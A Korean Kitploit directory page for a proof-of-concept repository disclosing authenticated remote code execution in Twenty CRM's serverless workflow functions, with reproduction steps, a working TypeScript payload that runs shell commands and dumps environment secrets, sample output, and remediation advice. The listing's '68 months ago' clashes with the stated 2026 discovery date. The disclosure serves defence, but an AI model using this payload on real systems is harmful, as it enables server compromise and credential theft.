Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-26720-Twenty-RCE — Twenty CRM의 샌드박스 처리되지 않은 서버리스 워크플로우 함수를 통한 인증된 원격 코드 실행 개념 증명으로, 임의의 Node.js 명령 실행 및 환경 변수 노출을 허용합니다. | Kitploit
도구/GitHubGitHub/dillonkirsch/cve-2026-26720-twenty-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCloud SecurityMisconfiguration
GitHubdillonkirsch/cve-2026-26720-twenty-rce

CVE-2026-26720-Twenty-RCE

Twenty CRM의 샌드박스 처리되지 않은 서버리스 워크플로우 함수를 통한 인증된 원격 코드 실행 개념 증명으로, 임의의 Node.js 명령 실행 및 환경 변수 노출을 허용합니다.

저장소 보기
68개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Twenty CRM - 인증된 원격 코드 실행 (RCE)

개요

제품: Twenty CRM

취약점: 서버리스 워크플로우 함수를 통한 원격 코드 실행 (RCE)

심각도: 치명적

영향을 받는 구성 요소: 워크플로우 자동화 (코드 - 서버리스 함수)

테스트 버전: v1.15.0

이 저장소는 Twenty CRM 워크플로우 엔진의 치명적인 취약점을 문서화합니다. "코드 - 서버리스 함수" 구성 요소는 인증된 사용자가 임의의 Node.js 코드를 실행할 수 있게 합니다. 샌드박싱이 부족하여 child_process 모듈을 가져와 호스트 서버에서 시스템 수준 명령을 실행할 수 있습니다.

취약점 세부 정보

이 애플리케이션은 사용자가 코드 실행 단계를 포함하는 사용자 정의 자동화 워크플로우를 생성할 수 있게 합니다. 이는 데이터 조작을 위한 것이지만, 실행 환경은 Node.js 내장 모듈 또는 기본 운영 체제에 대한 접근을 적절히 제한하지 않습니다.

공격자는 child_process 라이브러리의 execSync를 활용하여 다음을 수행할 수 있습니다:

  1. 셸 명령 실행 (예: cat, ls, whoami).
  • 파일 시스템에서 민감한 파일 읽기 (예: /etc/passwd).
  • 환경 변수 덤프 (process.env), 데이터베이스 자격 증명, API 키 및 애플리케이션 비밀 노출.
  • 개념 증명 (PoC)

    재현 단계

    1. Twenty CRM에 로그인합니다.
    2. 설정 > 워크플로우로 이동합니다.
    3. 수동 트리거가 있는 새 워크플로우를 생성합니다.
    4. 작업 추가: 코드 - 서버리스 함수.
    5. 다음 TypeScript 페이로드를 코드 편집기에 붙여넣습니다:
    root@kitploit:~
    import { execSync } from 'child_process';
    
    export const main = async (params: any): Promise<object> => {
      try {
        // 1. 원격 명령 실행: 시스템 사용자 읽기
        const output = execSync('cat /etc/passwd').toString();
        
        // 2. 정보 공개: 모든 환경 변수 덤프 (비밀)
        const secrets = JSON.stringify(process.env);
        
        return { 
          data: output, 
          secrets: secrets 
        };
      } catch (e: any) {
        return { error: e.message };
      }
    };
    
    
    1. 워크플로우를 저장하고 실행합니다.

    코드 개요

    관찰된 출력

    워크플로우가 성공적으로 실행되고 시스템 데이터를 반환합니다.

    시스템 파일 접근 (/etc/passwd):

    root@kitploit:~
    root:x:0:0:root:/root:/bin/sh
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
    ...
    
    

    노출된 환경 변수: process.env 덤프는 중요한 구성 세부 정보를 노출했습니다:

    • PG_DATABASE_URL (데이터베이스 자격 증명)
    • APP_SECRET (서명 키)
    • REDIS_URL
    • AWS_ACCESS_KEY (구성된 경우)

    영향

    이 취약점은 (워크플로우를 생성할 권한이 있는) 인증된 사용자가 전체 시스템 손상을 달성할 수 있게 합니다.

    • 기밀성: 공격자는 데이터베이스와 파일 시스템의 모든 데이터를 읽을 수 있습니다.
    • 무결성: 공격자는 애플리케이션 코드를 수정하고, 데이터를 삭제하거나, 악성 코드를 주입할 수 있습니다.
    • 가용성: 공격자는 서버를 종료하거나 모든 리소스를 소비할 수 있습니다.

    해결 방안

    이 문제를 해결하려면 "서버리스 함수" 기능에 적절한 격리가 필요합니다.

    • 샌드박싱 구현: 코드는 제한된 환경에서 실행되어야 합니다 (예: VM2 샌드박스, 네트워크/볼륨 접근이 없는 전용 Docker 컨테이너, 또는 Firecracker와 같은 마이크로-VM).
    • 모듈 제한: child_process, fs, net과 같은 민감한 Node.js 모듈에 대한 접근을 비활성화합니다.
    • 환경 변수 정리: 실행 컨텍스트가 (앱의 비밀을 포함하는) 부모 프로세스의 환경 변수를 상속하지 않도록 합니다.

    타임라인

    • 2026년 1월 8일: 취약점 발견.
    • [날짜]: Twenty CRM 보안 팀에 보고.
    • [상태]: 패치 대기 중.
    도구 다운로드